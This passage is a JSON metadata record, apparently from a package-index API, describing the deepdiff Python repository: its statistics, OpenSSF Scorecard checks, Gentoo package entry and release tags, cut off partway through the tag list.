{"id":369284,"url":"https://github.com/qlustered/deepdiff","last_synced_at":"2026-08-24T12:31:14.376Z","repository":{"id":21179691,"uuid":"24484622","full_name":"qlustered/deepdiff","owner":"qlustered","description":"DeepDiff: Deep Difference and search of any Python object/data. DeepHash: Hash of any object based on its contents. Delta: Use deltas to reconstruct objects by adding deltas together.","archived":false,"fork":false,"pushed_at":"2026-08-04T06:37:44.000Z","size":3627,"stargazers_count":2521,"open_issues_count":105,"forks_count":277,"subscribers_count":27,"default_branch":"master","last_synced_at":"2026-08-20T10:37:22.050Z","etag":null,"topics":["comparison","deep-search","deepdiff","deephash","delta","diff","difference","distance","distance-calculation","hash","hashing","nested","python","reconstruction","recursive","repetition","report-repetition","tree"],"latest_commit_sha":null,"homepage":"https://zepworks.com/deepdiff","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qlustered.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":null,"support":"docs/support.rst","governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["seperman"],"ko_fi":"seperman"}},"created_at":"2014-09-26T03:21:47.000Z","updated_at":"2026-08-19T08:18:49.000Z","dependencies_parsed_at":"2026-08-20T10:40:42.703Z","dependency_job_id":null,"html_url":"https://github.com/qlustered/deepdiff","commit_stats":{"total_commits":959,"total_committers":85,"mean_commits":"11.282352941176471","dds":"0.25651720542231493","last_synced_commit":"6d8a4c7c32d5ac57919955954790be994d01fe57"},"previous_names":["qlustered/deepdiff"],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/qlustered/deepdiff","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/sbom","scorecard":{"id":811627,"data":{"date":"2025-08-11","repo":{"name":"github.com/seperman/deepdiff","commit":"b639fece73fe3ce4120261fdcff3cc7b826776e3"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":2,"reason":"Found 1/4 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/main.yaml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yaml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yaml:30","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-23T13:20:34.678Z","repository_id":21179691,"created_at":"2025-08-23T13:20:34.678Z","updated_at":"2025-08-23T13:20:34.678Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36792486,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"qlustered","name":"Qluster","uuid":"76008367","kind":"organization","description":"Data Quality Firewall","email":null,"website":"https://qluster.ai","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/76008367?v=4","repositories_count":1,"last_synced_at":"2023-05-18T07:33:15.043Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/qlustered","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-18T07:33:15.045Z","updated_at":"2023-05-18T07:33:15.045Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered/repositories"},"packages":[{"id":14512086,"name":"dev-python/deepdiff","ecosystem":"gentoo","description":"A library for comparing dictionaries, iterables, strings and other objects","homepage":"https://github.com/qlustered/deepdiff/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/qlustered/deepdiff","keywords_array":["~amd64","~arm64","~x86"],"namespace":"dev-python","versions_count":2,"first_release_published_at":"2026-05-15T11:08:34.000Z","latest_release_published_at":"2026-07-29T11:08:06.000Z","latest_release_number":"9.1.0","last_synced_at":"2026-07-30T01:16:41.432Z","created_at":"2026-05-27T02:22:06.943Z","updated_at":"2026-08-20T14:35:51.502Z","registry_url":"https://packages.gentoo.org/packages/dev-python/deepdiff","install_command":"emerge dev-python/deepdiff","documentation_url":"https://packages.gentoo.org/packages/dev-python/deepdiff","metadata":{"category":"dev-python","slot":"0","eapi":"8","inherit":"distutils-r1 pypi","iuse":"test python_targets_python3_12 python_targets_python3_13 python_targets_python3_14"},"repo_metadata":{"id":21179691,"uuid":"24484622","full_name":"qlustered/deepdiff","owner":"qlustered","description":"DeepDiff: Deep Difference and search of any Python object/data. DeepHash: Hash of any object based on its contents. Delta: Use deltas to reconstruct objects by adding deltas together.","archived":false,"fork":false,"pushed_at":"2026-08-04T06:37:44.000Z","size":3627,"stargazers_count":2521,"open_issues_count":105,"forks_count":277,"subscribers_count":27,"default_branch":"master","last_synced_at":"2026-08-20T10:37:22.050Z","etag":null,"topics":["comparison","deep-search","deepdiff","deephash","delta","diff","difference","distance","distance-calculation","hash","hashing","nested","python","reconstruction","recursive","repetition","report-repetition","tree"],"latest_commit_sha":null,"homepage":"https://zepworks.com/deepdiff","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qlustered.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":null,"support":"docs/support.rst","governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["seperman"],"ko_fi":"seperman"}},"created_at":"2014-09-26T03:21:47.000Z","updated_at":"2026-08-19T08:18:49.000Z","dependencies_parsed_at":"2026-08-20T10:40:42.703Z","dependency_job_id":null,"html_url":"https://github.com/qlustered/deepdiff","commit_stats":{"total_commits":959,"total_committers":85,"mean_commits":"11.282352941176471","dds":"0.25651720542231493","last_synced_commit":"6d8a4c7c32d5ac57919955954790be994d01fe57"},"previous_names":["qlustered/deepdiff"],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/qlustered/deepdiff","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/sbom","scorecard":{"id":811627,"data":{"date":"2025-08-11","repo":{"name":"github.com/seperman/deepdiff","commit":"b639fece73fe3ce4120261fdcff3cc7b826776e3"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":2,"reason":"Found 1/4 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/main.yaml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yaml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/seperman/deepdiff/main.yaml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yaml:30","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-23T13:20:34.678Z","repository_id":21179691,"created_at":"2025-08-23T13:20:34.678Z","updated_at":"2025-08-23T13:20:34.678Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36792486,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"qlustered","name":"Qluster","uuid":"76008367","kind":"organization","description":"Data Quality Firewall","email":null,"website":"https://qluster.ai","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/76008367?v=4","repositories_count":1,"last_synced_at":"2023-05-18T07:33:15.043Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/qlustered","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-05-18T07:33:15.045Z","updated_at":"2023-05-18T07:33:15.045Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qlustered/repositories"},"tags":[{"name":"9.0.0","sha":"41c726586cfef55de0c8474923d2734f1529d223","kind":"commit","published_at":"2026-03-30T06:18:13.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/9.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/9.0.0/manifests"},{"name":"8.6.2","sha":"0d07ec21d12b46ef4e489383b363eadc22d990fb","kind":"commit","published_at":"2026-03-18T17:26:35.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.2","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.2/manifests"},{"name":"8.6.1","sha":"60ac5b903dbd662e0e83bf7b481df97d42f693df","kind":"commit","published_at":"2025-09-03T19:38:30.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.1/manifests"},{"name":"8.6.0","sha":"6f3d5eeb81083c816cf1a4f9eff3f1de2150a96a","kind":"tag","published_at":"2025-08-08T18:59:58.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.6.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.6.0/manifests"},{"name":"8.5.0","sha":"ba85943dc0d188f631f7c0f37d64241d489ad1e1","kind":"commit","published_at":"2025-05-09T18:29:12.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.5.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.5.0/manifests"},{"name":"8.4.1","sha":"ee5af9cf5f8a455b3fb92db98bc1b317765d70ba","kind":"commit","published_at":"2025-03-17T05:38:19.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.4.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.1/manifests"},{"name":"8.4.0","sha":"f86189e2e2ad4060400823d015c7bae84ec8a367","kind":"commit","published_at":"2025-03-16T07:55:41.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.4.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.4.0/manifests"},{"name":"8.3.0","sha":"6e1ae6761f345c86eaf5ff84fd0d433a6dd405b5","kind":"tag","published_at":"2025-03-06T00:01:08.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.3.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"c9d78f0aa6182ccf42478fc89541dcad3c4398f8","kind":"tag","published_at":"2025-02-04T07:56:33.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.2.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.2.0/manifests"},{"name":"8.1.1","sha":"c7183695a8b2049e53cfabc48c7b5adb28e45185","kind":"commit","published_at":"2024-12-16T23:53:34.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.1.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"e7d10fe8f374476fc4dcb5dd867f26f18f99ecf2","kind":"commit","published_at":"2024-12-16T23:45:57.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.1.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"6d8a4c7c32d5ac57919955954790be994d01fe57","kind":"commit","published_at":"2024-08-28T20:23:20.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"5ac42b7be2eae5e1cf8350ecce9d9599e181f651","kind":"commit","published_at":"2024-08-27T21:48:54.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/8.0.0","html_url":"https://github.com/qlustered/deepdiff/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/tags/8.0.0/manifests"},{"name":"7.0.1","sha":"be22027e86ccb531164404fce7fc43a6633ac135","kind":"commit","published_at":"2024-04-08T22:57:11.000Z","download_url":"https://codeload.github.com/qlustered/deepdiff/tar.gz/7.0.1","html_url":"https://github.com/qlustered/deepdiff/releases/tag/7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/qlustered/deepdiff@7.0.1","tag_url":"https://repos.ecosyste.ms/api/v